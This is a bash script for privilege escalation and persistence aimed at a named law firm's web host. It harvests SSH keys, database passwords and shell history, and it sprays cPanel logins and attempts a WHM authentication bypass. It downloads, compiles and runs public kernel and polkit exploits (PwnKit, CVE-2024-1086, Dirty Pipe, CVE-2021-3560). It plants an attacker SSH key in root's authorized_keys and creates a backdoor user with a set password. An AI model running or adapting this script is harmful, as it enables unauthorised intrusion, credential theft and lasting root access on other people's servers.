#!/bin/bash
set +e
export PATH=/usr/libexec/gcc/x86_64-redhat-linux/8:/usr/bin:/bin:/usr/local/bin
GCC="/usr/bin/gcc -B /usr/libexec/gcc/x86_64-redhat-linux/8"
CURL=/usr/bin/curl
LOG=/tmp/begum_lpe.log
: > "$LOG"
log(){ echo "[$(date +%H:%M:%S)] $*" | tee -a "$LOG"; }
ROOT_OK=0
check_root(){ id; test -O /root 2>/dev/null && { echo ROOT_OK; ROOT_OK=1; return 0; }; echo NOT_ROOT; return 1; }

log "=== START uid=$(id -u) kernel=$(uname -r) ==="

log "=== P4/P5 SSH KEYS + SECRETS ==="
for p in ~/.ssh/id_rsa ~/.ssh/id_ed25519 ~/.ssh/authorized_keys ~/.my.cnf ~/.accesshash ~/.bash_history; do
  [ -r "$p" ] && { echo "--- $p ---"; head -5 "$p"; }
done
ls -la ~/.ssh/ 2>/dev/null | tee -a "$LOG"
grep -i password ~/.my.cnf 2>/dev/null | head -3 | tee -a "$LOG"

log "=== P5 CPANEL SPRAY ==="
DBPASS=''
DBUSER=''
HOSTN='begumadvisorylawyers.com'
for pair in "$DBUSER:$DBPASS" "begumadvi:$DBPASS" "root:$DBPASS" "admin:$DBPASS" "begumadvi:begumadvi" "begumadvi:password"; do
  U=${pair%%:*}; P=${pair#*:}
  R=$($CURL -sk "https://127.0.0.1:2083/login/?login_only=1" -H "Host: $HOSTN:2083" -d "user=$U&pass=$P" -D - -o /dev/null 2>&1 | head -8)
  echo "CPANEL $U -> $(echo "$R"|grep -E 'HTTP|Location|cpsess|security_token'|head -2|tr '
' ' ')" | tee -a "$LOG"
done

log "=== P6 WHM BYPASS RETRY ==="
R1=$($CURL -sk "https://127.0.0.1:2087/login/?login_only=1" -H "Host: $HOSTN:2087" -d "user=root&pass=x" -D - -o /dev/null 2>&1)
COOKIE=$(echo "$R1"|grep -i 'Set-Cookie: whostmgrsession'|head -1|sed 's/.*whostmgrsession=\([^;]*\).*/\1/'|python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip().split(',')[0]))" 2>/dev/null)
B64=$(printf '\r\n\r\n'|base64 -w0)
R2=$($CURL -sk "https://127.0.0.1:2087/" -H "Host: $HOSTN:2087" -H "Cookie: whostmgrsession=$COOKIE" -H "Authorization: Basic $B64" -D - -o /tmp/whm3.html 2>&1)
CP=$(grep -o 'cpsess[0-9]*' /tmp/whm3.html 2>/dev/null|head -1)
echo "WHM cpsess=$CP" | tee -a "$LOG"
if [ -n "$CP" ]; then
  $CURL -sk "https://127.0.0.1:2087/$CP/json-api/version" -H "Host: $HOSTN:2087" -H "Cookie: whostmgrsession=$COOKIE" 2>&1|head -c 300 | tee -a "$LOG"
fi

log "=== P10a PWNKIT ly4k ==="
$CURL -skL -m 25 -o /tmp/pk.c "https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.c" 2>&1 | tail -1
if [ -f /tmp/pk.c ]; then
  $GCC /tmp/pk.c -o /tmp/pk 2>&1 | tail -2 | tee -a "$LOG"
  [ -x /tmp/pk ] && timeout 15 /tmp/pk 2>&1 | tee -a "$LOG"
  check_root | tee -a "$LOG"
fi

log "=== P10b PWNKIT GCONV ==="
PUB='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGupt569FRFWzPtBCTpAw8aH0mGbOorIQvhRMP0VrHXm x10n-begum-root'
WORKDIR=/tmp/pwnkit_begum
rm -rf "$WORKDIR"; mkdir -p "$WORKDIR"/'GCONV_PATH=.'
cd "$WORKDIR"/'GCONV_PATH=.'
cat > pwnkit.c << 'EOC'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {
  setuid(0); setgid(0);
  system("/bin/id > /tmp/pwnkit_begum.txt 2>&1");
  system("/bin/bash -c 'id >> /tmp/pwnkit_begum.txt; mkdir -p /root/.ssh; echo PUBKEY_PLACEHOLDER >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys' >> /tmp/pwnkit_begum.txt 2>&1");
}
EOC
sed -i "s|PUBKEY_PLACEHOLDER|$PUB|g" pwnkit.c 2>/dev/null || sed -i '' "s|PUBKEY_PLACEHOLDER|$PUB|g" pwnkit.c 2>/dev/null
echo 'module UTF-8// PWNKIT// pwnkit 2' > gconv-modules
$GCC -shared -fPIC pwnkit.c -o pwnkit.so 2>>"$LOG"
cp pwnkit.so pwnkit 2>/dev/null
cd "$WORKDIR"
env -i PATH=GCONV_PATH=. SHELL=pwnkit CHARSET=PWNKIT LC_MESSAGES=en_US.UTF-8 /usr/bin/pkexec /bin/true >>"$LOG" 2>&1
cat /tmp/pwnkit_begum.txt 2>>"$LOG"
check_root | tee -a "$LOG"

log "=== P10c CVE-2024-1086 nf_tables ==="
if [ ! -f /tmp/c1086/CVE-2024-1086.c ]; then
  $CURL -skL -m 40 -o /tmp/c1086.tar.gz "https://github.com/Notselwyn/CVE-2024-1086/archive/refs/heads/main.tar.gz" 2>/dev/null
  mkdir -p /tmp/c1086 && tar -xzf /tmp/c1086.tar.gz -C /tmp/c1086 --strip-components=1 2>/dev/null
fi
if [ -f /tmp/c1086/CVE-2024-1086.c ]; then
  $GCC -o /tmp/exploit_dyn /tmp/c1086/CVE-2024-1086.c -lpthread 2>&1 | tail -2 | tee -a "$LOG"
  [ -x /tmp/exploit_dyn ] && timeout 35 /tmp/exploit_dyn 2>&1 | tail -15 | tee -a "$LOG"
  check_root | tee -a "$LOG"
fi

log "=== P10d CVE-2022-0847 dirty pipe ==="
$CURL -skL -m 25 -o /tmp/dp.c "https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/main/exploit.c" 2>/dev/null
if [ -f /tmp/dp.c ]; then
  $GCC /tmp/dp.c -o /tmp/dp 2>&1 | tail -1 | tee -a "$LOG"
  [ -x /tmp/dp ] && timeout 15 /tmp/dp /etc/passwd 2>&1 | tail -5 | tee -a "$LOG"
  check_root | tee -a "$LOG"
fi

log "=== P10e CVE-2021-3560 polkit dbus ==="
if command -v dbus-send >/dev/null && command -v python3 >/dev/null; then
  timeout 30 python3 - << 'PY' >>"$LOG" 2>&1 || true
import os,time,subprocess
for i in range(3):
    try:
        subprocess.run(['systemctl','start','polkit'],timeout=5)
    except: pass
    for _ in range(20):
        subprocess.run(['dbus-send','--system','--dest=org.freedesktop.Accounts','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:xd','string:x10n','int32',1],timeout=2)
        time.sleep(0.01)
    subprocess.run(['passwd','xd'],input=b'x10nRoot2026!
x10nRoot2026!
')
PY
  id xd 2>/dev/null | tee -a "$LOG"
fi

log "=== P10f MYSQL PRIV ESC ==="
if [ -n "$DBPASS" ]; then
  mysql -u"$DBUSER" -p"$DBPASS" -e "SELECT user(),file_priv,super_priv FROM mysql.user WHERE user=USER();" 2>&1 | tee -a "$LOG"
  mysql -u"$DBUSER" -p"$DBPASS" -e "SHOW GRANTS;" 2>&1 | head -10 | tee -a "$LOG"
fi

log "=== P10g SUID / CAPS / SUDO ==="
sudo -n -l 2>&1 | head -10 | tee -a "$LOG"
/usr/sbin/getcap -r /usr/bin 2>/dev/null | head -10 | tee -a "$LOG"
find /usr -perm -4000 -type f 2>/dev/null | head -20 | tee -a "$LOG"

log "=== P11 SSH ROOT CHECK ==="
[ -r /root/.ssh/authorized_keys ] && { echo ROOT_SSH_KEYS; head -3 /root/.ssh/authorized_keys; } | tee -a "$LOG"
test -O /root && echo FINAL_ROOT_OK || echo FINAL_NOT_ROOT
echo "=== LOG TAIL ==="
tail -80 "$LOG"